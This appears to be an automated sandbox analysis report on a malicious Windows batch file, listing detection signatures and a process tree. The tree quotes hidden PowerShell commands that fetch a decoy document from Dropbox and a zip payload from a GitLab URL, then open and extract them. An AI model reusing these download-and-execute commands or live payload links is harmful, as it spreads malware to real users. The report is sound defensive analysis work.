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Windows
Analysis Report
18cut04.bat
Overview
General Information
Detection
Abobus Obfuscator
Score: | 84 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Yara detected Abobus Obfuscator
Yara detected Powershell download and execute
Powershell drops PE file
Sigma detected: PowerShell DownloadFile
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains functionality to detect virtual machines (STR)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: Use Short Name Path in Command Line
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 7672 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\18cut 04.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7680 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - chcp.com (PID: 7772 cmdline:
chcp.com 4 37 MD5: 33395C4732A49065EA72590B14B64F32) - cmd.exe (PID: 7788 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - find.exe (PID: 7808 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - findstr.exe (PID: 7832 cmdline:
fiNdstr /L /I set "C :\Users\us er\Desktop \18cut04.b at" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 7848 cmdline:
fiNdstr /L /I goto " C:\Users\u ser\Deskto p\18cut04. bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 7860 cmdline:
fiNdstr /L /I echo " C:\Users\u ser\Deskto p\18cut04. bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - findstr.exe (PID: 7884 cmdline:
fiNdstr /L /I pause "C:\Users\ user\Deskt op\18cut04 .bat" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - find.exe (PID: 7924 cmdline:
find MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - cmd.exe (PID: 7964 cmdline:
C:\Windows \system32\ cmd.exe /c type tmp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7988 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //www.drop box.com/sc l/fi/2xk4d viogo9yr2o se1z39/17_ Advertisin g_Campaign _and_Colla boration.d ocx?rlkey= 4wos6vvfhg osyi024mde vofd9&st=9 zhl6gij&dl =1', 'C:\U sers\user~ 1\AppData\ Local\Temp \\18_Adver tising_Cam paign_and_ Collaborat ion.docx') " MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 8180 cmdline:
powershell -WindowSt yle Hidden -Command "Start-Pro cess 'C:\U sers\user~ 1\AppData\ Local\Temp \\18_Adver tising_Cam paign_and_ Collaborat ion.docx'" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 2064 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //gitlab.c om/bose151 1/mkt1511/ -/raw/main /18Fukrun. zip', 'C:\ Users\Publ ic\Documen t.zip')" MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7684 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "Add-T ype -Assem blyName Sy stem.IO.Co mpression. FileSystem ; [System. IO.Compres sion.ZipFi le]::Extra ctToDirect ory('C:/Us ers/Public /Document. zip', 'C:/ Users/Publ ic/Documen t')" MD5: 04029E121A0CFA5991749937DD22A1D9)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Subhash Popuri (@pbssubhash): |
Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: frack113, Nasreddine Bencherchali: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
Source: | Binary or memory string: | memstr_5d046f6a-6 |
Source: | File created: | Jump to behavior |
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Source: | UDP traffic detected without corresponding DNS query: | ||
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Source: | String found in binary or memory: |